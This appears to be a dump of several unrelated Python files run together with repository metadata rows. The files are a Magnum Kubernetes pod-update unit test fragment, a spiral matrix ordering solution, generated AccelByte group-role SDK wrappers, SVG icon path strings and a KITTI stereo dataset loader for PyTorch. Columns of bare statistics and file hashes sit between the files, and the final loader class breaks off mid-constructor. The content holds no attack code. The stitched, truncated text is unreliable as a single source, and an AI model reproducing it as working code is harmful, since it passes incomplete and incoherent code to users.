expected_pod.bay_uuid = 'test-bay-uuid'
mock_pod_get_by_uuid.return_value = expected_pod
mock_pod_get_by_name.return_value = expected_pod
expected_pod.manifest = '{"key": "value"}'
name_pod = expected_pod.name
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=404)
mock_kube_api.return_value.replace_namespaced_pod.side_effect = err
self.assertRaises(exception.KubernetesAPIFailed,
self.kube_handler.pod_update,
self.context, expected_pod.name,
expected_pod.bay_uuid,
expected_pod.manifest)
(mock_kube_api.return_value.replace_namespaced_pod
.assert_called_once_with(
body=expected_pod.manifest, name=name_pod,
namespace='default'))
| 43.585827
| 79
| 0.609242
| 3,193
| 27,677
| 4.877545
| 0.047917
| 0.035315
| 0.04103
| 0.036214
| 0.93014
| 0.919417
| 0.913253
| 0.899576
| 0.888404
| 0.866059
| 0
| 0.005109
| 0.306897
| 27,677
| 634
| 80
| 43.654574
| 0.806756
| 0.020812
| 0
| 0.82364
| 0
| 0
| 0.138923
| 0.100306
| 0
| 0
| 0
| 0
| 0.06379
| 1
| 0.052533
| false
| 0
| 0.013133
| 0.009381
| 0.076923
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
282362c730cf5a3ef456f976ac04276da82c46fb
| 1,684
|
py
|
Python
|
hackathon/column1/problem_6_18_spiral_ordering.py
|
abdurahmanadilovic/elements-of-programming-interviews
|
14d05935aa901f453ea2086e449b670e993a4c83
|
[
"MIT"
] | null | null | null |
hackathon/column1/problem_6_18_spiral_ordering.py
|
abdurahmanadilovic/elements-of-programming-interviews
|
14d05935aa901f453ea2086e449b670e993a4c83
|
[
"MIT"
] | null | null | null |
hackathon/column1/problem_6_18_spiral_ordering.py
|
abdurahmanadilovic/elements-of-programming-interviews
|
14d05935aa901f453ea2086e449b670e993a4c83
|
[
"MIT"
] | null | null | null |
def print_top(array, row_padding, column_padding_left, column_padding_right):
return [cell for cell in array[row_padding][column_padding_left:column_padding_right]]
def print_right_side(array, row_padding_top, row_padding_bottom, column_padding_right):
return [row[column_padding_right] for row in array[row_padding_top+1: row_padding_bottom-1]]
def print_left_side(array, row_padding_top, row_padding_bottom, column_padding_left):
return [row[column_padding_left] for row in reversed(array[row_padding_top+1: row_padding_bottom-1])]
def print_bottom(array, row_padding_bottom, column_padding_left, column_padding_right):
return [column for column in reversed(array[row_padding_bottom][column_padding_left:column_padding_right])]
def iterate(array, row_padding_top, row_padding_bottom, column_padding_left, column_padding_right):
if row_padding_top >= row_padding_bottom or column_padding_left >= column_padding_right:
return []
else:
return print_top(array, row_padding_top, column_padding_left, column_padding_right)\
+ print_right_side(array, row_padding_top, row_padding_bottom, column_padding_right-1)\
+ print_bottom(array, row_padding_bottom - 1, column_padding_left, column_padding_right)\
+ print_left_side(array, row_padding_top, row_padding_bottom, column_padding_left)\
+ iterate(array, row_padding_top + 1, row_padding_bottom - 1, column_padding_left + 1,
column_padding_right - 1)
def solution(array):
result = iterate(array, 0, len(array), 0, len(array[0]))
if result[-1] == result[-2]:
result.pop()
return result
| 49.529412
| 111
| 0.754751
| 242
| 1,684
| 4.81405
| 0.11157
| 0.206009
| 0.180258
| 0.139056
| 0.826609
| 0.750215
| 0.706438
| 0.566524
| 0.566524
| 0.434335
| 0
| 0.010608
| 0.160333
| 1,684
| 33
| 112
| 51.030303
| 0.813296
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.26087
| false
| 0
| 0
| 0.173913
| 0.565217
| 0.347826
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
2831714de9e085f101ed6c06b828bbaffccd594d
| 12,645
|
py
|
Python
|
accelbyte_py_sdk/api/group/wrappers/_group_roles.py
|
AccelByte/accelbyte-python-sdk
|
dcd311fad111c59da828278975340fb92e0f26f7
|
[
"MIT"
] | null | null | null |
accelbyte_py_sdk/api/group/wrappers/_group_roles.py
|
AccelByte/accelbyte-python-sdk
|
dcd311fad111c59da828278975340fb92e0f26f7
|
[
"MIT"
] | 1
|
2021-10-13T03:46:58.000Z
|
2021-10-13T03:46:58.000Z
|
accelbyte_py_sdk/api/group/wrappers/_group_roles.py
|
AccelByte/accelbyte-python-sdk
|
dcd311fad111c59da828278975340fb92e0f26f7
|
[
"MIT"
] | null | null | null |
# Copyright (c) 2021 AccelByte Inc. All Rights Reserved.
# This is licensed software from AccelByte Inc, for limitations
# and restrictions contact your company contract manager.
#
# Code generated. DO NOT EDIT!
# template file: justice_py_sdk_codegen/__main__.py
# pylint: disable=duplicate-code
# pylint: disable=line-too-long
# pylint: disable=missing-function-docstring
# pylint: disable=missing-function-docstring
# pylint: disable=missing-module-docstring
# pylint: disable=too-many-arguments
# pylint: disable=too-many-branches
# pylint: disable=too-many-instance-attributes
# pylint: disable=too-many-lines
# pylint: disable=too-many-locals
# pylint: disable=too-many-public-methods
# pylint: disable=too-many-return-statements
# pylint: disable=too-many-statements
# pylint: disable=unused-import
from typing import Any, Dict, List, Optional, Tuple, Union
from ....core import HeaderStr
from ....core import get_namespace as get_services_namespace
from ....core import run_request
from ....core import run_request_async
from ....core import same_doc_as
from ..models import ModelsAssignRoleToMemberRequestV1
from ..models import ModelsCreateMemberRoleRequestV1
from ..models import ModelsCreateMemberRoleResponseV1
from ..models import ModelsGetMemberRoleResponseV1
from ..models import ModelsGetMemberRolesListResponseV1
from ..models import ModelsGetUserGroupInformationResponseV1
from ..models import ModelsRemoveRoleFromMemberRequestV1
from ..models import ModelsUpdateMemberRolePermissionsRequestV1
from ..models import ModelsUpdateMemberRoleRequestV1
from ..models import ModelsUpdateMemberRoleResponseV1
from ..models import ResponseErrorResponse
from ..operations.group_roles import CreateMemberRoleAdminV1
from ..operations.group_roles import DeleteMemberRoleAdminV1
from ..operations.group_roles import DeleteMemberRolePublicV1
from ..operations.group_roles import GetMemberRolesListAdminV1
from ..operations.group_roles import GetMemberRolesListPublicV1
from ..operations.group_roles import GetSingleMemberRoleAdminV1
from ..operations.group_roles import UpdateMemberRoleAdminV1
from ..operations.group_roles import UpdateMemberRolePermissionAdminV1
from ..operations.group_roles import UpdateMemberRolePublicV1
@same_doc_as(CreateMemberRoleAdminV1)
def create_member_role_admin_v1(body: ModelsCreateMemberRoleRequestV1, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = CreateMemberRoleAdminV1.create(
body=body,
namespace=namespace,
)
return run_request(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(CreateMemberRoleAdminV1)
async def create_member_role_admin_v1_async(body: ModelsCreateMemberRoleRequestV1, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = CreateMemberRoleAdminV1.create(
body=body,
namespace=namespace,
)
return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(DeleteMemberRoleAdminV1)
def delete_member_role_admin_v1(member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = DeleteMemberRoleAdminV1.create(
member_role_id=member_role_id,
namespace=namespace,
)
return run_request(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(DeleteMemberRoleAdminV1)
async def delete_member_role_admin_v1_async(member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = DeleteMemberRoleAdminV1.create(
member_role_id=member_role_id,
namespace=namespace,
)
return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(DeleteMemberRolePublicV1)
def delete_member_role_public_v1(body: ModelsRemoveRoleFromMemberRequestV1, member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = DeleteMemberRolePublicV1.create(
body=body,
member_role_id=member_role_id,
namespace=namespace,
)
return run_request(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(DeleteMemberRolePublicV1)
async def delete_member_role_public_v1_async(body: ModelsRemoveRoleFromMemberRequestV1, member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = DeleteMemberRolePublicV1.create(
body=body,
member_role_id=member_role_id,
namespace=namespace,
)
return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(GetMemberRolesListAdminV1)
def get_member_roles_list_admin_v1(limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = GetMemberRolesListAdminV1.create(
limit=limit,
offset=offset,
namespace=namespace,
)
return run_request(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(GetMemberRolesListAdminV1)
async def get_member_roles_list_admin_v1_async(limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = GetMemberRolesListAdminV1.create(
limit=limit,
offset=offset,
namespace=namespace,
)
return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(GetMemberRolesListPublicV1)
def get_member_roles_list_public_v1(limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = GetMemberRolesListPublicV1.create(
limit=limit,
offset=offset,
namespace=namespace,
)
return run_request(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(GetMemberRolesListPublicV1)
async def get_member_roles_list_public_v1_async(limit: Optional[int] = None, offset: Optional[int] = None, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = GetMemberRolesListPublicV1.create(
limit=limit,
offset=offset,
namespace=namespace,
)
return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(GetSingleMemberRoleAdminV1)
def get_single_member_role_admin_v1(member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = GetSingleMemberRoleAdminV1.create(
member_role_id=member_role_id,
namespace=namespace,
)
return run_request(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(GetSingleMemberRoleAdminV1)
async def get_single_member_role_admin_v1_async(member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = GetSingleMemberRoleAdminV1.create(
member_role_id=member_role_id,
namespace=namespace,
)
return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(UpdateMemberRoleAdminV1)
def update_member_role_admin_v1(body: ModelsUpdateMemberRoleRequestV1, member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = UpdateMemberRoleAdminV1.create(
body=body,
member_role_id=member_role_id,
namespace=namespace,
)
return run_request(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(UpdateMemberRoleAdminV1)
async def update_member_role_admin_v1_async(body: ModelsUpdateMemberRoleRequestV1, member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = UpdateMemberRoleAdminV1.create(
body=body,
member_role_id=member_role_id,
namespace=namespace,
)
return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(UpdateMemberRolePermissionAdminV1)
def update_member_role_permission_admin_v1(body: ModelsUpdateMemberRolePermissionsRequestV1, member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = UpdateMemberRolePermissionAdminV1.create(
body=body,
member_role_id=member_role_id,
namespace=namespace,
)
return run_request(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(UpdateMemberRolePermissionAdminV1)
async def update_member_role_permission_admin_v1_async(body: ModelsUpdateMemberRolePermissionsRequestV1, member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = UpdateMemberRolePermissionAdminV1.create(
body=body,
member_role_id=member_role_id,
namespace=namespace,
)
return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(UpdateMemberRolePublicV1)
def update_member_role_public_v1(body: ModelsAssignRoleToMemberRequestV1, member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = UpdateMemberRolePublicV1.create(
body=body,
member_role_id=member_role_id,
namespace=namespace,
)
return run_request(request, additional_headers=x_additional_headers, **kwargs)
@same_doc_as(UpdateMemberRolePublicV1)
async def update_member_role_public_v1_async(body: ModelsAssignRoleToMemberRequestV1, member_role_id: str, namespace: Optional[str] = None, x_additional_headers: Optional[Dict[str, str]] = None, **kwargs):
if namespace is None:
namespace, error = get_services_namespace()
if error:
return None, error
request = UpdateMemberRolePublicV1.create(
body=body,
member_role_id=member_role_id,
namespace=namespace,
)
return await run_request_async(request, additional_headers=x_additional_headers, **kwargs)
| 42.29097
| 224
| 0.747726
| 1,433
| 12,645
| 6.337055
| 0.085834
| 0.10109
| 0.071358
| 0.047572
| 0.833388
| 0.795617
| 0.766986
| 0.744742
| 0.73439
| 0.73439
| 0
| 0.008287
| 0.169711
| 12,645
| 298
| 225
| 42.432886
| 0.856653
| 0.060577
| 0
| 0.737288
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.038136
| false
| 0
| 0.110169
| 0
| 0.300847
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
957c392902a0fc01bb5780b5f8d8cec1b14e97d7
| 3,624
|
py
|
Python
|
gym_cellular_automata/forest_fire/bulldozer/utils/svg_paths.py
|
BrunoGupa/gym-cellular-automata
|
6b5d96f2ccf13d1c1da9e2dc4d5273553cfbc89f
|
[
"MIT"
] | 13
|
2021-02-22T20:26:11.000Z
|
2022-02-03T02:33:33.000Z
|
gym_cellular_automata/forest_fire/bulldozer/utils/svg_paths.py
|
BrunoGupa/gym-cellular-automata
|
6b5d96f2ccf13d1c1da9e2dc4d5273553cfbc89f
|
[
"MIT"
] | 1
|
2021-10-18T00:50:01.000Z
|
2021-10-18T00:50:01.000Z
|
gym_cellular_automata/forest_fire/bulldozer/utils/svg_paths.py
|
BrunoGupa/gym-cellular-automata
|
6b5d96f2ccf13d1c1da9e2dc4d5273553cfbc89f
|
[
"MIT"
] | 2
|
2021-03-30T23:35:09.000Z
|
2021-09-03T16:37:40.000Z
|
BULLDOZER = "m 385.10334,444.02706 -7.42197,-164.24713 c -0.19278,-3.95196 -3.47001,-7.1328 -7.42196,-7.1328 H 217.00063 c -3.56639,0 -6.65085,2.60251 -7.32557,6.07252 l -16.19338,86.84663 -50.31515,-45.39929 c -5.68696,-6.2653 -13.78365,-10.21726 -22.94062,-10.21726 h -12.62698 c 4.81946,-59.37572 0,-82.79829 -56.965994,-90.12386 -2.506118,-0.28917 -5.108625,0.67472 -6.650852,2.69889 -1.638616,2.02417 -2.120562,4.62668 -1.349448,7.1328 3.373621,10.02447 5.012236,20.53089 5.012236,31.1337 0,49.35125 -36.724271,91.18415 -85.497189,97.35306 -3.759177,0.48194 -6.554463,3.66279 -6.554463,7.42196 0,6.65086 2.216951,12.24143 6.747242,16.67533 9.831694,9.63891 28.2420254,11.08475 47.6162473,11.08475 3.8555667,0 7.7111327,-0.0964 11.5666997,-0.0964 3.662788,-0.0964 7.132798,-0.0964 10.506419,-0.0964 h 8.289468 c 22.844232,0.0964 37.977331,0.19278 48.869306,-10.98836 2.698897,-2.79529 5.012237,-6.07252 7.036409,-10.31364 h 20.241729 l 54.74904,73.06299 c -29.10953,10.31364 -50.02597,38.1701 -50.02597,70.84603 0,41.44734 33.63981,75.18355 74.99077,75.18355 26.50702,0 49.83319,-13.88004 63.1349,-34.7001 h 40.0015 c 13.30171,20.82006 36.62788,34.7001 63.1349,34.7001 41.35096,0 74.99077,-33.73621 74.99077,-75.18355 0.0964,-33.63982 -21.97672,-62.17101 -52.33931,-71.71354 z M 196.18058,575.88744 c -33.15788,0 -60.05045,-26.98897 -60.05045,-60.24323 0,-33.25426 26.98896,-60.24323 60.05045,-60.24323 33.06148,0 60.05044,26.98897 60.05044,60.24323 0,33.25426 -26.89257,60.24323 -60.05044,60.24323 z m 70.55686,-34.7001 c 2.89168,-8.0003 4.43391,-16.57894 4.43391,-25.54313 0,-41.44734 -33.63982,-75.18355 -74.99077,-75.18355 h -1.63862 l 28.62758,-153.06599 h 139.95707 l 6.94002,153.35516 c -2.50612,-0.28917 -4.91585,-0.38556 -7.51836,-0.38556 -41.35095,0 -74.99077,33.73621 -74.99077,75.18355 0,8.9642 1.54223,17.54283 4.43391,25.54313 z m 95.81083,34.7001 c -33.15787,0 -60.05045,-26.98897 -60.05045,-60.24323 0,-33.25426 26.98897,-60.24323 60.05045,-60.24323 33.06149,0 60.05045,26.98897 60.05045,60.24323 0,33.25426 -26.89257,60.24323 -60.05045,60.24323 z"
LOCATION = "m 14.229184,6.5393187 c -1.650932,0 -3,1.3490681 -3,3 0,1.6509323 1.349068,3.0000003 3,3.0000003 1.650932,0 3,-1.349068 3,-3.0000003 0,-1.6509319 -1.349068,-3 -3,-3 z m 0,1 c 1.110492,0 2,0.8895082 2,2 0,1.1104923 -0.889508,2.0000003 -2,2.0000003 -1.110492,0 -2,-0.889508 -2,-2.0000003 0,-1.1104918 0.889508,-2 2,-2 z m 0,-5.5 c -4.139595,0 -7.4999999,3.3604048 -7.4999999,7.5 0,2.8472223 1.8140676,6.1218833 3.5859379,8.7480473 1.771869,2.626164 3.542968,4.587891 3.542968,4.587891 l 0.371094,0.410156 0.371094,-0.410156 c 0,0 1.771099,-1.961727 3.542968,-4.587891 1.77187,-2.626164 3.585938,-5.900825 3.585938,-8.7480473 0,-4.1395952 -3.360405,-7.5 -7.5,-7.5 z m 0,1 c 3.600405,0 6.5,2.8995952 6.5,6.5 0,2.4027783 -1.685932,5.6281173 -3.414062,8.1894533 -1.54259,2.286339 -2.772427,3.640236 -3.085938,3.994141 -0.313511,-0.353905 -1.543348,-1.707802 -3.085937,-3.994141 -1.7281305,-2.561336 -3.4140629,-5.786675 -3.4140629,-8.1894533 0,-3.6004048 2.8995949,-6.5 6.4999999,-6.5 z"
FIRE = "M 48.284332,229.46764 C -5.424574,337.73798 29.528841,409.34985 118.19116,457.0911 c -39.216025,-91.21989 0.85252,-149.19141 48.59378,-202.90031 -34.1009,131.28844 28.13323,148.33888 49.44629,76.72701 40.06855,34.10089 33.24837,78.43205 6.82018,126.1733 83.54719,-51.15134 117.64808,-120.20565 56.26647,-244.6739 -12.78783,15.3454 -19.60801,38.3635 -41.77359,39.21602 C 181.27782,253.33827 288.69563,92.211555 153.14458,51.290479 182.98286,121.19731 55.957033,167.23351 76.417568,282.32403 55.957033,275.50385 48.284332,255.89583 48.284332,229.46764 Z"
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0
| 7
|
95c6390888be0f2cb66cc648cff8f85393698838
| 61,150
|
py
|
Python
|
datasets/kitti_raw_monosf.py
|
SwagJ/DeComp_MonoSF
|
d4454f4b367dcefa869f208f3ffcc397e3f5bb98
|
[
"Apache-2.0"
] | null | null | null |
datasets/kitti_raw_monosf.py
|
SwagJ/DeComp_MonoSF
|
d4454f4b367dcefa869f208f3ffcc397e3f5bb98
|
[
"Apache-2.0"
] | null | null | null |
datasets/kitti_raw_monosf.py
|
SwagJ/DeComp_MonoSF
|
d4454f4b367dcefa869f208f3ffcc397e3f5bb98
|
[
"Apache-2.0"
] | null | null | null |
from __future__ import absolute_import, division, print_function
import os.path
import torch
import torch.utils.data as data
import numpy as np
from torchvision import transforms as vision_transforms
from .common import read_image_as_byte, read_calib_into_dict, read_png_flow, read_png_disp, numpy2torch
from .common import kitti_crop_image_list, kitti_adjust_intrinsic, intrinsic_scale, get_date_from_width
from .common import list_flatten, threed_warp, threed_warp_flow
import torch.nn.functional as tf
class KITTI_Raw(data.Dataset):
def __init__(self,
args,
images_root=None,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1,
index_file=None):
self._args = args
self._seq_len = 1
self._flip_augmentations = flip_augmentations
self._preprocessing_crop = preprocessing_crop
self._crop_size = crop_size
path_dir = os.path.dirname(os.path.realpath(__file__))
path_index_file = os.path.join(path_dir, index_file)
if not os.path.exists(path_index_file):
raise ValueError("Index File '%s' not found!", path_index_file)
index_file = open(path_index_file, 'r')
## loading image -----------------------------------
if not os.path.isdir(images_root):
raise ValueError("Image directory '%s' not found!")
filename_list = [line.rstrip().split(' ') for line in index_file.readlines()]
self._image_list = []
view1 = 'image_02/data'
view2 = 'image_03/data'
ext = '.png'
#print(images_root)
for item in filename_list:
date = item[0][:10]
scene = item[0]
idx_src = item[1]
idx_tgt = '%.10d' % (int(idx_src) + 1)
name_l1 = os.path.join(images_root, date, scene, view1, idx_src) + ext
name_l2 = os.path.join(images_root, date, scene, view1, idx_tgt) + ext
name_r1 = os.path.join(images_root, date, scene, view2, idx_src) + ext
name_r2 = os.path.join(images_root, date, scene, view2, idx_tgt) + ext
if os.path.isfile(name_l1) and os.path.isfile(name_l2) and os.path.isfile(name_r1) and os.path.isfile(name_r2):
self._image_list.append([name_l1, name_l2, name_r1, name_r2])
if num_examples > 0:
self._image_list = self._image_list[:num_examples]
self._size = len(self._image_list)
## loading calibration matrix
self.intrinsic_dict_l = {}
self.intrinsic_dict_r = {}
self.intrinsic_dict_l, self.intrinsic_dict_r = read_calib_into_dict(path_dir)
self._to_tensor = vision_transforms.Compose([
vision_transforms.ToPILImage(),
vision_transforms.transforms.ToTensor()
])
def __getitem__(self, index):
index = index % self._size
# read images and flow
# im_l1, im_l2, im_r1, im_r2
img_list_np = [read_image_as_byte(img) for img in self._image_list[index]]
# example filename
im_l1_filename = self._image_list[index][0]
basename = os.path.basename(im_l1_filename)[:6]
dirname = os.path.dirname(im_l1_filename)[-51:]
datename = dirname[:10]
k_l1 = torch.from_numpy(self.intrinsic_dict_l[datename]).float()
k_r1 = torch.from_numpy(self.intrinsic_dict_r[datename]).float()
#print("k_l1, k_l2:", k_l1 == k_r1)
# input size
h_orig, w_orig, _ = img_list_np[0].shape
input_im_size = torch.from_numpy(np.array([h_orig, w_orig])).float()
# cropping
if self._preprocessing_crop:
# get starting positions
crop_height = self._crop_size[0]
crop_width = self._crop_size[1]
x = np.random.uniform(0, w_orig - crop_width + 1)
y = np.random.uniform(0, h_orig - crop_height + 1)
crop_info = [int(x), int(y), int(x + crop_width), int(y + crop_height)]
# cropping images and adjust intrinsic accordingly
img_list_np = kitti_crop_image_list(img_list_np, crop_info)
k_l1, k_r1 = kitti_adjust_intrinsic(k_l1, k_r1, crop_info)
# to tensors
img_list_tensor = [self._to_tensor(img) for img in img_list_np]
im_l1 = img_list_tensor[0]
im_l2 = img_list_tensor[1]
im_r1 = img_list_tensor[2]
im_r2 = img_list_tensor[3]
common_dict = {
"index": index,
"basename": basename,
"datename": datename,
"input_size": input_im_size
}
# random flip
if self._flip_augmentations is True and torch.rand(1) > 0.5:
_, _, ww = im_l1.size()
#print(im_l1.size())
im_l1_flip = torch.flip(im_l1, dims=[2])
im_l2_flip = torch.flip(im_l2, dims=[2])
im_r1_flip = torch.flip(im_r1, dims=[2])
im_r2_flip = torch.flip(im_r2, dims=[2])
k_l1[0, 2] = ww - k_l1[0, 2]
k_r1[0, 2] = ww - k_r1[0, 2]
example_dict = {
"input_l1": im_r1_flip,
"input_r1": im_l1_flip,
"input_l2": im_r2_flip,
"input_r2": im_l2_flip,
"input_k_l1": k_r1,
"input_k_r1": k_l1,
"input_k_l2": k_r1,
"input_k_r2": k_l1,
}
example_dict.update(common_dict)
else:
example_dict = {
"input_l1": im_l1,
"input_r1": im_r1,
"input_l2": im_l2,
"input_r2": im_r2,
"input_k_l1": k_l1,
"input_k_r1": k_r1,
"input_k_l2": k_l1,
"input_k_r2": k_r1,
}
example_dict.update(common_dict)
return example_dict
def __len__(self):
return self._size
class KITTI_Raw_KittiSplit_Train(KITTI_Raw):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_KittiSplit_Train, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_train.txt")
class KITTI_Raw_KittiSplit_Valid(KITTI_Raw):
def __init__(self,
args,
root,
flip_augmentations=False,
preprocessing_crop=False,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_KittiSplit_Valid, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_valid.txt")
class KITTI_Raw_KittiSplit_Full(KITTI_Raw):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_KittiSplit_Full, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_full.txt")
class KITTI_Raw_EigenSplit_Train(KITTI_Raw):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_EigenSplit_Train, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/eigen_train.txt")
class KITTI_Raw_EigenSplit_Valid(KITTI_Raw):
def __init__(self,
args,
root,
flip_augmentations=False,
preprocessing_crop=False,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_EigenSplit_Valid, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/eigen_valid.txt")
class KITTI_Raw_EigenSplit_Full(KITTI_Raw):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_EigenSplit_Full, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/eigen_full.txt")
### KITTI Raw Dataset with Depth Loaded.
class KITTI_Raw_Depth(data.Dataset):
def __init__(self,
args,
images_root=None,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1,
index_file=None):
self._args = args
self._seq_len = 1
self._flip_augmentations = flip_augmentations
self._preprocessing_crop = preprocessing_crop
self._crop_size = crop_size
path_dir = os.path.dirname(os.path.realpath(__file__))
path_index_file = os.path.join(path_dir, index_file)
if not os.path.exists(path_index_file):
raise ValueError("Index File '%s' not found!", path_index_file)
index_file = open(path_index_file, 'r')
## loading image -----------------------------------
if not os.path.isdir(images_root):
raise ValueError("Image directory '%s' not found!",images_root)
filename_list = [line.rstrip().split(' ') for line in index_file.readlines()]
self._image_list = []
self._depth_list = []
view1 = 'image_02/data'
view2 = 'image_03/data'
depth1 = 'proj_depth/groundtruth/image_02'
depth2 = 'proj_depth/groundtruth/image_03'
ext = '.png'
for item in filename_list:
date = item[0][:10]
scene = item[0]
idx_src = item[1]
idx_tgt = '%.10d' % (int(idx_src) + 1)
name_l1 = os.path.join(images_root, date, scene, view1, idx_src) + ext
name_l2 = os.path.join(images_root, date, scene, view1, idx_tgt) + ext
name_r1 = os.path.join(images_root, date, scene, view2, idx_src) + ext
name_r2 = os.path.join(images_root, date, scene, view2, idx_tgt) + ext
depth_l1 = os.path.join(images_root, date, scene, depth1, idx_src) + ext
depth_l2 = os.path.join(images_root, date, scene, depth1, idx_tgt) + ext
depth_r1 = os.path.join(images_root, date, scene, depth2, idx_src) + ext
depth_r2 = os.path.join(images_root, date, scene, depth2, idx_tgt) + ext
